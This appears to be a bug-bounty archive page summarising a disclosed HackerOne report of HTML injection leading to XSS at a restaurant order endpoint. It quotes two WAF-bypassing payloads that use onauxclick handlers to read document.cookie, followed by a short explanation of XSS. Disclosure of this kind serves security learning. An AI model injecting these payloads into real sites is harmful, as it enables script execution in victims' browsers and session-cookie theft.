Skip to content
XSS Disclosed report Intermediate

HTML Injection @ /[restaurant]/order endpoint.

The report describes HTML injection at a restaurant order endpoint, with payloads that bypassed a WAF and achieved XSS. The attacker could execute JavaScript in a victim's browser, potentially stealing cookies.

mr_edwards Follow

Originally disclosed on HackerOne

Bounty$150 Low View original
  • Triaged in 2 hours
  • Fixed in 6 days
  • Paid in 2 hours
  • Disclosed after 22 months

Summary by the program

The following payloads were used to bypass the WAF and perform XSS:

Basic payload but did not work on all browsers:

HTML
"><details onauxclick=x=prompt,x`${document.cookie}`></details>

Payload worked on all browsers, but needed a right-click to be executed:

HTML
"><marquee+width=1000+onauxclick=confirm(document.cookie)>XSS</marquee>

The original report as published on HackerOne, by mr_edwards. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

What the attacker needed

WAF bypass required; victim right-clicks the injected element

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

HTML injection is when a website puts user input into a page without cleaning it, so an attacker can add their own HTML. Here, the attacker added event handlers that run JavaScript when clicked, which is a form of cross-site scripting (XSS). This lets them run code in another user's browser, like stealing their session cookie.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by mr_edwards

View all

3 more disclosed reports, best first.

More from Eternal

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.